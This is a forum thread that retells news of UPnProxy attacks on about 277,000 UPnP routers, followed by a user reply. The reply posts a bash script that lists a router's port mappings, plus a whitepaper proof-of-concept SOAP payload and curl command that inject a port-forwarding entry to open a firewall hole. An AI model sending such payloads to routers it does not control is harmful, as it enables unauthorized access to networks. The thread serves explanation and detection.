277 тыс. маршрутизаторов уязвимы к атакам UPnProxy через UPnP

[GrandCreator]

277 тыс. маршрутизаторов уязвимы к атакам UPnProxy через UPnP

Хакеры предположительно эксплуатируют уязвимости EternalBlue и EternalRed на системах под управлением Windows и Linux.

Киберпреступники в ходе вредоносной кампании под названием Eternal Silence используют набор сетевых протоколов Universal Plug and Play (UPnP), превращая маршрутизаторы в прокси-серверы для запуска вредоносных атак.

UPnP — протокол подключения, опционально доступный в большинстве современных маршрутизаторов, который позволяет другим устройствам в сети автоматически создавать правила переадресации портов на маршрутизаторе. Это позволяет удаленным устройствам получать доступ к определенной программной функции или устройству по мере необходимости с небольшой настройкой, требуемой пользователем.

Реализация UPnP потенциально уязвима к атакам, позволяющим удаленным хакерам добавлять записи переадресации портов UPnP через открытое WAN-соединение устройства.

Исследователи из компании Akamai обнаружили киберпреступников, использующих данную уязвимость для создания прокси-серверов, скрывающих свои вредоносные операции. Атака получила название UPnProxy.

Как предполагают эксперты, злоумышленники эксплуатируют уязвимости EternalBlue (CVE-2017-0144) и EternalRed ( CVE-2017-7494 ) на системах под управлением Windows и Linux соответственно. Использование этих проблем позволяет устанавливать криптомайнеры, осуществлять червеподобные атаки, которые быстро распространяются на целые корпоративные сети, или устанавливать первоначальный доступ к корпоративным сетям.

Из 3,5 млн UPnP-маршрутизаторов, обнаруженных специалистами в Сети, 277 тыс. уязвимы к атакам UPnProxy, а 45113 из них уже скомпрометированы хакерами.

Лучший способ определить скомпрометированное устройство — просканировать все оконечные точки и проверить записи в таблице NAT. Эксперты предоставили bash-скрипт, который можно запустить для потенциально уязвимого URL-адреса. Отключение UPnP не очистит внедренные команды хакеров. Вместо этого пользователям потребуется перезагрузить или переустановить прошивку устройства.

 

[zeneq]

Here is an example script that tests a device:

#!/usr/bin/bash url=$1 soap_head='<?xml version="1.0" encoding="utf-8"?>
<s:Envelope s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" xmlns:s="http://schemas.xmlsoap.org/soap/envelope/">
<s:Body>
<u:GetGenericPortMappingEntry xmlns:u="urn:upnp-org:serviceId:WANIPConnection.1#GetGenericPortMappingEntry">
<NewPortMappingIndex>'
soap_tail='</NewPortMappingIndex></u:GetGenericPortMappingEntry></s:Body></s:Envelope>'

for i in `seq 1 10000`; do
   payload=$soap_head$i$soap_tail
   curl -H 'Content-Type: "text/xml;charset=UTF-8"' -H 'SOAPACTION:
"urn:schemas-upnp-org:service:WANIPConnection:1#GetGenericPortMappingEntry"' --data "$payload" "$url" echo "
"done

$ ./brute_upnproxy.sh http://192.168.1.1:2048/etc/linuxigd/gatedesc.xml
..

and an exploit (not mine this is just shitty example from whitepaper) to inject a nat entry.
craft the payload

$ cat SOAP_NAT.xml
<?xml version=”1.0” encoding=”utf-8”?>
<s:Envelope s:encodingStyle=”http://schema.xmlsoap.org/soap/encoding/”
xmlns:s=”http://schemas.xmlsoap.org/soap/envelopes/”>
<s:Body>
<u:AddPortMapping xmlns:u=”urn:schemas-upnp-org:services:WANIPConnections:1”>
<NewRemoteHost></NewRemoteHost>
<NewExternalPort>5555</NewExternalPort>
<NewInternalClient>192.168.0.1</NewInternalClient>
<NewInternalPort>80</NewInternalPort>
<NewProtocol>TCP</NewProtocol>
<NewPortMappingDescription>i_want_admin</NewPortMappingDescription>
<NewLeaseDuration>10</NewLeaseDuration>
<NewEnabled>1</NewEnabled>
</u:AddPortMapping>
</s:Body>
</s:Envelope>

then run this:

curl -v \
-X ‘POST’ \
-H ‘Content-Type: text/xml; charset=”utf-8”’ \
-H ‘Connection: close’ \
-H ‘SOAPAction: “urn:schemas-upnp-org:services:WANIPConnections:1
#AddPortMapping”’ \
--data @SOAP_NAT.xml \
“http://X.X.X.X:52869/upnp/control/WANIPConnection”

it's just example proof of concept and should be scripted but that at least shows what the article is talking about. Just about a way to open a hole in the firewall.